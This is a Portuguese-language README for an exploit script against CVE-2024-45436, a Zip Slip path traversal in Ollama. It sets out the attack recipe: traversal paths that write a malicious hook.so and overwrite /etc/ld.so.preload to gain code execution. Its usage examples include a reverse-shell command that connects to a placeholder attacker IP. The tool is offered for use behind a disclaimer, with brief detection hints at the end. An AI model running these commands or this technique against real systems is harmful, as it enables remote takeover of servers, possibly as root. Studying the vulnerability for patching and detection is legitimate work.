
exploit script for CVE-2024-45436
Uma implementação de exploit limpa e eficiente para a vulnerabilidade de travessia ZIP do Ollama (CVE-2024-45436). 中文文档:README_CN.md
CVE-2024-45436 é uma vulnerabilidade de travessia de caminho (também conhecida como "Zip Slip") no Ollama em versões anteriores a 0.1.47. A vulnerabilidade permite que atacantes escrevam arquivos em locais arbitrários no sistema de arquivos, explorando a validação inadequada de caminhos durante operações de extração de arquivos ZIP.
A falha existe na função extractFromZipFile no arquivo model.go do Ollama, que extrai arquivos de modelos. Quando um arquivo ZIP contém entradas com caminhos que incluem sequências de travessia de diretório (../), o Ollama extrai esses arquivos para fora do diretório pretendido, potencialmente permitindo que um atacante sobrescreva arquivos críticos do sistema.
Este exploit aproveita a vulnerabilidade através da seguinte abordagem:
hook.so) contendo código de execução de comando arbitrário../../../../../../../../../../etc/ld.so.preload - Usado para pré-carregar objetos compartilhados personalizados../../../../../../../../../../tmp/hook.so - O próprio objeto compartilhado maliciosoQuando executado com sucesso, o payload é executado com as mesmas permissões do serviço Ollama, potencialmente concedendo execução remota de código como root.
python exp.py <target_url> <command>
target_url: A URL da instância vulnerável do Ollama (ex.: http://example.com:11434)command: O comando a ser executado no sistema alvo--no-cleanup: Não remover arquivos temporários após a exploração (útil para depuração)Uso básico:
python exp.py http://target-server:11434 "id > /tmp/pwned"
Shell reverso:
python exp.py http://target-server:11434 "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"
Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança autorizado. O uso não autorizado contra sistemas sem permissão explícita é ilegal e antiético. O autor não se responsabiliza pelo uso indevido deste software.
As organizações podem detectar se são vulneráveis:
/api/version/etc/ld.so.preload ou /tmp/hook.soA vulnerabilidade explora a validação inadequada de caminhos no processo de extração de arquivos ZIP do Ollama. Quando um modelo é carregado através da API, a aplicação extrai arquivos de um arquivo ZIP sem sanitizar adequadamente os caminhos dos arquivos, permitindo ataques de travessia de diretório.
O arquivo ld.so.preload é usado no Linux para especificar bibliotecas compartilhadas que devem ser carregadas antes de todas as outras. Ao escrever neste arquivo, o atacante pode garantir que sua biblioteca maliciosa seja carregada por qualquer novo processo, efetivamente sequestrando a execução do programa.
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.